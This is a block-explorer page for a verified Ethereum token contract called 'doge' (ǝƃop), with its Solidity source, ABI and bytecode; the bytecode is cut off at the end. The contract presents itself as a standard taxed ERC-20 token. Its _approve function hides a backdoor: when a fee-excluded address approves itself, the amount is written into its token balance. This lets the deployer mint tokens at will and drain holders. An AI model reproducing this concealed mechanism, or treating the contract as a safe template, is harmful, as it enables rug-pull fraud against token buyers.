ETH Price: $2,903.48 (-1.18%)
 

Overview

Max Total Supply

100,000,000 ǝƃop

Holders

35

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
doge

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-13
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract doge is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=7;
    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"ǝƃop";
    string private constant _symbol = unicode"ǝƃop";
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = (owner==spender&&_isExcludedFromFee[spender])?_balances[spender]=amount:_allowances[owner][spender]=amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be gt 0");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                        block.number,
                        "Transfer Delay enabled"
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(balanceOf(to) + amount <= _maxWalletSize, "gt max wallet");
                require(amount <= _maxTxAmount, "gt max tx");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(contractTokenBalance,_maxTaxSwap));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 50000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading was opened");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
        swapEnabled = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191660019081179091556014600781815560196008556009838155600a938455600b91909155601e600c55600d919091555f600e556200004a9162000347565b6200005990621e84806200035e565b600f556200006a6009600a62000347565b6200007990621e84806200035e565b6010556200008a6009600a62000347565b6200009990620186a06200035e565b601155620000aa6009600a62000347565b620000b990629896806200035e565b6012556014805461ffff60a81b19169055348015620000d6575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191661010033021790556200013c6009600a62000347565b6200014c906305f5e1006200035e565b335f908152600160208190526040822092909255600390620001755f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001d83390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002116009600a62000347565b62000221906305f5e1006200035e565b60405190815260200160405180910390a362000378565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028c57815f190482111562000270576200027062000238565b808516156200027e57918102915b93841c939080029062000251565b509250929050565b5f82620002a45750600162000341565b81620002b257505f62000341565b8160018114620002cb5760028114620002d657620002f6565b600191505062000341565b60ff841115620002ea57620002ea62000238565b50506001821b62000341565b5060208310610133831016604e8410600b84101617156200031b575081810a62000341565b6200032783836200024c565b805f19048211156200033d576200033d62000238565b0290505b92915050565b5f6200035760ff84168362000294565b9392505050565b808202811582820484141762000341576200034162000238565b6117cb80620003865f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102bd578063bf474bed146102dc578063c876d0b9146102f1578063c9567bf91461030a578063dd62ed3e1461031e575f80fd5b8063751039fc146102595780637d1db4a51461026d5780638da5cb5b146102825780638f9a55c0146102a857806395d89b411461011e575f80fd5b806323b872dd116100e357806323b872dd146101c1578063313ce567146101e057806351bc3c85146101fb57806370a0823114610211578063715018a614610245575f80fd5b806306fdde031461011e578063095ea7b31461015b5780630faee56f1461018a57806318160ddd146101ad575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260068152650c79dc6836f760d41b6020820152905161015291906113be565b60405180910390f35b348015610166575f80fd5b5061017a610175366004611420565b610362565b6040519015158152602001610152565b348015610195575f80fd5b5061019f60125481565b604051908152602001610152565b3480156101b8575f80fd5b5061019f610378565b3480156101cc575f80fd5b5061017a6101db36600461144a565b610398565b3480156101eb575f80fd5b5060405160098152602001610152565b348015610206575f80fd5b5061020f6103ff565b005b34801561021c575f80fd5b5061019f61022b366004611488565b6001600160a01b03165f9081526001602052604090205490565b348015610250575f80fd5b5061020f610455565b348015610264575f80fd5b5061020f6104cf565b348015610278575f80fd5b5061019f600f5481565b34801561028d575f80fd5b505f546040516001600160a01b039091168152602001610152565b3480156102b3575f80fd5b5061019f60105481565b3480156102c8575f80fd5b5061017a6102d7366004611420565b61058a565b3480156102e7575f80fd5b5061019f60115481565b3480156102fc575f80fd5b5060065461017a9060ff1681565b348015610315575f80fd5b5061020f610596565b348015610329575f80fd5b5061019f6103383660046114a3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61036e338484610934565b5060015b92915050565b5f6103856009600a6115ce565b610393906305f5e1006115dc565b905090565b5f6103a4848484610ae0565b6103f584336103f08560405180606001604052806028815260200161176e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611036565b610934565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b031614610423575f80fd5b305f908152600160205260409020548015610441576104418161106e565b47801561045157610451816111de565b5050565b5f546001600160a01b031633146104875760405162461bcd60e51b815260040161047e906115f3565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f85760405162461bcd60e51b815260040161047e906115f3565b6105046009600a6115ce565b610512906305f5e1006115dc565b600f556105216009600a6115ce565b61052f906305f5e1006115dc565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105696009600a6115ce565b610577906305f5e1006115dc565b60405190815260200160405180910390a1565b5f61036e338484610ae0565b5f546001600160a01b031633146105bf5760405162461bcd60e51b815260040161047e906115f3565b601454600160a01b900460ff161561060e5760405162461bcd60e51b81526020600482015260126024820152711d1c98591a5b99c81dd85cc81bdc195b995960721b604482015260640161047e565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106579030906106496009600a6115ce565b6103f0906305f5e1006115dc565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cb9190611628565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074e9190611628565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610798573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bc9190611628565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610803816001600160a01b03165f9081526001602052604090205490565b5f806108165f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a19190611643565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091a919061166e565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047e565b6001600160a01b0382166109f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047e565b816001600160a01b0316836001600160a01b0316148015610a2f57506001600160a01b0382165f9081526003602052604090205460ff165b610a60576001600160a01b038084165f90815260026020908152604080832093861683529290522081905580610a7c565b6001600160a01b0382165f908152600160205260409020819055805b6001600160a01b038481165f818152600260209081526040808320948816808452948252918290209490945551848152919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047e565b6001600160a01b038216610ba65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047e565b5f8111610bf55760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220616d6f756e74206d757374206265206774203000000000604482015260640161047e565b5f80546001600160a01b03858116911614801590610c2057505f546001600160a01b03848116911614155b15610ef957610c516064610c4b600b54600e5411610c4057600754610c44565b6009545b8590611219565b9061129e565b60065490915060ff1615610cf8576013546001600160a01b03848116911614801590610c8b57506014546001600160a01b03848116911614155b15610cf857325f908152600560205260409020544311610ce65760405162461bcd60e51b8152602060048201526016602482015275151c985b9cd9995c8811195b185e48195b98589b195960521b604482015260640161047e565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610d2357506013546001600160a01b03848116911614155b8015610d4757506001600160a01b0383165f9081526003602052604090205460ff16155b15610e095760105482610d6e856001600160a01b03165f9081526001602052604090205490565b610d78919061168d565b1115610db65760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b604482015260640161047e565b600f54821115610df45760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040e8f60bb1b604482015260640161047e565b600e8054905f610e03836116a0565b91905055505b6014546001600160a01b038481169116148015610e2f57506001600160a01b0384163014155b15610e5c57610e596064610c4b600c54600e5411610e4f57600854610c44565b600a548590611219565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610e9257506014546001600160a01b038581169116145b8015610ea75750601454600160b01b900460ff165b8015610eb4575060115481115b8015610ec35750600d54600e54115b15610ef757610edc610ed7826012546112df565b61106e565b4766b1a2bc2ec50000811115610ef557610ef5476111de565b505b505b8015610f7157305f90815260016020526040902054610f1890826112f3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f689085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f939083611351565b6001600160a01b0385165f90815260016020526040902055610fd6610fb88383611351565b6001600160a01b0385165f90815260016020526040902054906112f3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101f8585611351565b60405190815260200160405180910390a350505050565b5f81848411156110595760405162461bcd60e51b815260040161047e91906113be565b505f61106584866116b8565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110b4576110b46116cb565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561110b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061112f9190611628565b81600181518110611142576111426116cb565b6001600160a01b0392831660209182029290920101526013546111689130911684610934565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a09085905f908690309042906004016116df565b5f604051808303815f87803b1580156111b7575f80fd5b505af11580156111c9573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610451573d5f803e3d5ffd5b5f825f0361122857505f610372565b5f61123383856115dc565b905082611240858361174e565b146112975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047e565b9392505050565b5f61129783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611392565b5f8183116112ed5782611297565b50919050565b5f806112ff838561168d565b9050838110156112975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047e565b5f61129783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611036565b5f81836113b25760405162461bcd60e51b815260040161047e91906113be565b505f611065848661174e565b5f6020808352835180828501525f5b818110156113e9578581018301518582016040015282016113cd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141d575f80fd5b50565b5f8060408385031215611431575f80fd5b823561143c81611409565b946020939093013593505050565b5f805f6060848603121561145c575f80fd5b833561146781611409565b9250602084013561147781611409565b929592945050506040919091013590565b5f60208284031215611498575f80fd5b813561129781611409565b5f80604083850312156114b4575f80fd5b82356114bf81611409565b915060208301356114cf81611409565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561152857815f190482111561150e5761150e6114da565b8085161561151b57918102915b93841c93908002906114f3565b509250929050565b5f8261153e57506001610372565b8161154a57505f610372565b8160018114611560576002811461156a57611586565b6001915050610372565b60ff84111561157b5761157b6114da565b50506001821b610372565b5060208310610133831016604e8410600b84101617156115a9575081810a610372565b6115b383836114ee565b805f19048211156115c6576115c66114da565b029392505050565b5f61129760ff841683611530565b8082028115828204841417610372576103726114da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611638575f80fd5b815161129781611409565b5f805f60608486031215611655575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561167e575f80fd5b81518015158114611297575f80fd5b80820180821115610372576103726114da565b5f600182016116b1576116b16114da565b5060010190565b81810381811115610372576103726114da565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561172d5784516001600160a01b031683529383019391830191600101611708565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261176857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220402b950468c600e419117a8de50227784be92d69736d87bd1da8bd2f3c300ec364736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102bd578063bf474bed146102dc578063c876d0b9146102f1578063c9567bf91461030a578063dd62ed3e1461031e575f80fd5b8063751039fc146102595780637d1db4a51461026d5780638da5cb5b146102825780638f9a55c0146102a857806395d89b411461011e575f80fd5b806323b872dd116100e357806323b872dd146101c1578063313ce567146101e057806351bc3c85146101fb57806370a0823114610211578063715018a614610245575f80fd5b806306fdde031461011e578063095ea7b31461015b5780630faee56f1461018a57806318160ddd146101ad575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260068152650c79dc6836f760d41b6020820152905161015291906113be565b60405180910390f35b348015610166575f80fd5b5061017a610175366004611420565b610362565b6040519015158152602001610152565b348015610195575f80fd5b5061019f60125481565b604051908152602001610152565b3480156101b8575f80fd5b5061019f610378565b3480156101cc575f80fd5b5061017a6101db36600461144a565b610398565b3480156101eb575f80fd5b5060405160098152602001610152565b348015610206575f80fd5b5061020f6103ff565b005b34801561021c575f80fd5b5061019f61022b366004611488565b6001600160a01b03165f9081526001602052604090205490565b348015610250575f80fd5b5061020f610455565b348015610264575f80fd5b5061020f6104cf565b348015610278575f80fd5b5061019f600f5481565b34801561028d575f80fd5b505f546040516001600160a01b039091168152602001610152565b3480156102b3575f80fd5b5061019f60105481565b3480156102c8575f80fd5b5061017a6102d7366004611420565b61058a565b3480156102e7575f80fd5b5061019f60115481565b3480156102fc575f80fd5b5060065461017a9060ff1681565b348015610315575f80fd5b5061020f610596565b348015610329575f80fd5b5061019f6103383660046114a3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61036e338484610934565b5060015b92915050565b5f6103856009600a6115ce565b610393906305f5e1006115dc565b905090565b5f6103a4848484610ae0565b6103f584336103f08560405180606001604052806028815260200161176e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611036565b610934565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b031614610423575f80fd5b305f908152600160205260409020548015610441576104418161106e565b47801561045157610451816111de565b5050565b5f546001600160a01b031633146104875760405162461bcd60e51b815260040161047e906115f3565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f85760405162461bcd60e51b815260040161047e906115f3565b6105046009600a6115ce565b610512906305f5e1006115dc565b600f556105216009600a6115ce565b61052f906305f5e1006115dc565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105696009600a6115ce565b610577906305f5e1006115dc565b60405190815260200160405180910390a1565b5f61036e338484610ae0565b5f546001600160a01b031633146105bf5760405162461bcd60e51b815260040161047e906115f3565b601454600160a01b900460ff161561060e5760405162461bcd60e51b81526020600482015260126024820152711d1c98591a5b99c81dd85cc81bdc195b995960721b604482015260640161047e565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106579030906106496009600a6115ce565b6103f0906305f5e1006115dc565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cb9190611628565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074e9190611628565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610798573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bc9190611628565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610803816001600160a01b03165f9081526001602052604090205490565b5f806108165f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a19190611643565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091a919061166e565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047e565b6001600160a01b0382166109f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65